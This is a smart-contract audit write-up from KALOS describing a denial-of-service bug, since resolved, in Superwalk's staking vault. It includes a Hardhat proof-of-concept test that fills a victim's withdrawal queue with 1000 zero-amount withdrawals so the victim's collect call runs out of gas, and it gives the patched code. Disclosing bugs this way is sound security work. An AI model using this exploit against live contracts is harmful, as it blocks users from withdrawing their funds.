Article realeased on Oct 26, 2022
A Consideration for Linear Search
Superwalk is blockchain based Move-To-Earn service provides rewards its users on their walking. We engaged in audit on the Superwalk’s new staking feature. The target contract is reward-bearing vault which implements ERC-4626 specification and we found interesting Denial of Service bug that blocks other user’s withdrawal request by generating zero amount of withdraw.
About the bug
Collecting the asset can be blocked by an arbitrary user by calling a number of zero amount withdrawals (Found — v.1.0) (Resolved — v.1.1)
function _withdraw(address caller, address receiver, address owner, uint256 assets, uint256 shares)
internal
virtual
{
if (caller != owner) {
_spendAllowance(owner, caller, shares);
}
_totalToBeCollected += assets;
_withdrawalMap[receiver].enqueue(block.timestamp + _unstakingPeriod, assets);
updateRewardAmountAndBlock();
emit Withdraw(caller, receiver, owner, assets, shares);
}
JavaScript
Users who deposit assets can get rewards, Grnd token, every 8 hours. First, a user who wants to withdraw their assets calls the withdraw function(). The function allows the user to set a receiver who takes assets. If user1 calls the withdraw function with the user2’s address, receiver, the receiver’s _withdrawalMap which is a mapping variable that queues the receiver’s collectible amount will grow with withdrawal time and assets.
function collectGrnd() public whenNotPaused {
_collectGrnd(msg.sender, block.number);
}
function _collectGrnd(address addr, uint256 blockNumber) internal {
require (addr != address(0), "Address cannot be zero address");
WithdrawQueue.Queue storage q = _withdrawalMap[addr];
uint256 amount = 0;
uint256 total = 0;
for (uint256 i = q.front; i < q.back; i++){
WithdrawQueue.Withdraw memory w = q.at(i);
if (w.blockNumber <= blockNumber) {
amount = q.dequeue();
total += amount;
_totalToBeCollected -= amount;
} else {
break;
}
}
SafeERC20Upgradeable.safeTransfer(_asset, addr, total);
}
JavaScript
After the withdrawal time, the user2 can execute the collectGrnd function to withdraw assets which are enqueued by the withdraw function. Then, the for loop in the _collectGrnd function searches and dequeues withdraw-able assets from the front of the queue to the back of the queue.
However, this point can be exploited by DoS. The below code snippet is the PoC that executes withdraw function with 0 amount of asset for 1000 times. That means the length of the queue of user2 grows to 1000. After the 1000 times withdraw, collectGrnd() was executed. As we said before, the number of loop in the collectGrnd() function is 1000. Thus, it cause out of gas error which means, user2 can not withdraw its assets.
it("_withdraw DoS test", async function () {
await xGRND.connect(owner).setRewardRate(28800, ethers.utils.parseEther("1"));
await mockERC20.connect(owner).approve(xGRND.address,
ethers.utils.parseEther("100"));
await xGRND.connect(owner).depositReward(ethers.utils.parseEther("100"));
await mockERC20.connect(owner).transfer(user1.address,
ethers.utils.parseEther("100"));
await mockERC20.connect(user1).approve(xGRND.address,
ethers.utils.parseEther("100"));
await xGRND.connect(user1).deposit(ethers.utils.parseEther("100"), user1.address);
await mockERC20.connect(owner).transfer(user2.address,
ethers.utils.parseEther("100"));
await mockERC20.connect(user2).approve(xGRND.address,
ethers.utils.parseEther("100"));
await xGRND.connect(user2).deposit(ethers.utils.parseEther("100"), user2.address);
let user2xGRNDBal = await xGRND.connect(user2).balanceOf(user2.address);
for (let i = 0; i < 1000; i++) {
await xGRND.withdraw(0, user2.address, user1.address);
}
await mineTimeAndBlocks(604800, 1);
await xGRND.connect(user2).redeem(user2xGRNDBal, user2.address, user2.address);
await xGRND.connect(user2).collectGrnd();
})
/*
Result :
1 failing
1) xGRND Coverage Test
_withdraw DoS test:
TransactionExecutionError: Transaction ran out of gas
*/
JavaScript
Solution
function _withdraw(
address caller,
address receiver,
address owner,
uint256 assets,
uint256 shares
) internal virtual {
if (caller != owner) {
_spendAllowance(owner, caller, shares);
}
require (assets > 0, "Cannot withdraw 0 asset");
_burn(owner, shares);
_totalToBeCollected += assets;
_withdrawalMap[receiver].enqueue(block.number + _unstakingPeriod, assets);
updateRewardAmountAndBlock();
emit Withdraw(caller, receiver, owner, assets, shares);
}
JavaScript
There are two points to fix. The first is prohibiting 0 asset withdrawals. The updated code, _withdraw(), is added 'require' statement which checks the amounts of assets. Thus, an arbitrary user can not fill a target’s queue at no cost.
function _collectGrnd(address addr, uint256 blockNumber) internal {
require (addr != address(0), "Address cannot be zero address");
WithdrawQueue.Queue storage q = _withdrawalMap[addr];
uint256 amount = 0;
uint256 total = 0;
uint j = 0;
for (uint256 i = q.front; i < q.back; i++){
if (j > 99) {
break;
}
WithdrawQueue.Withdraw memory w = q.at(i);
if (w.blockNumber <= blockNumber) {
amount = q.dequeue();
total += amount;
_totalToBeCollected -= amount;
j++;
} else {
break;
}
}
SafeERC20Upgradeable.safeTransfer(_asset, addr, total);
emit CollectGrnd(addr, blockNumber);
}
JavaScript
The other is limiting the loop to a certain number of times. The updated point in the _collectGrnd() is running up to 100 times dequeue per call. If an arbitrary user calls the withdraw function 110 times with very few assets such as 0.001, the receiver will call the collectGrnd function twice. In the first collectGrnd call, it dequeues the first withdrawal request to the 100th withdrawal request. And it dequeues the 101st withdrawal request to the 110th withdrawal request in the second collecGrnd call.
Conclusion
In this article, we described the bug that can slip up but causes not negligible impact on users. The loop which searches items linearly in queue or others can be exploited as DoS. Thus, limiting the number of a loop in the above context is desired in queue implementation.
It is not always the best solution for limiting loop, however, when you have to use a loop on a queue considering the DoS exploitability is worth taking time.
About KALOS
KALOS is a flagship service of HAECHI LABS, the leader of the global blockchain industry. We bring together the best Web2 and Web3 experts. Security Researchers with expertise in cryptography, leaders of the global best hacker team, and blockchain/smart contract experts are responsible for securing your Web3 service.
We have secured over $60b worth of crypto assets across 400+ global crypto projects — L1/L2 projects, defi protocols, P2E games, and bridges — notably 1inch, SushiSwap, Badger DAO, SuperRare, Klaytn and Chainsafe.
KALOS is the only blockchain technology company selected for the Samsung Electronics Startup Incubation Program in recognition of our expertise. We have also received technology grants from the Ethereum Foundation and Ethereum Community Fund.
Secure your smart contracts with KALOS.
•
Email: audit@kalos.xyz
•
Official website: https://kalos.xyz
•
Twitter: https://twitter.com/kalos_security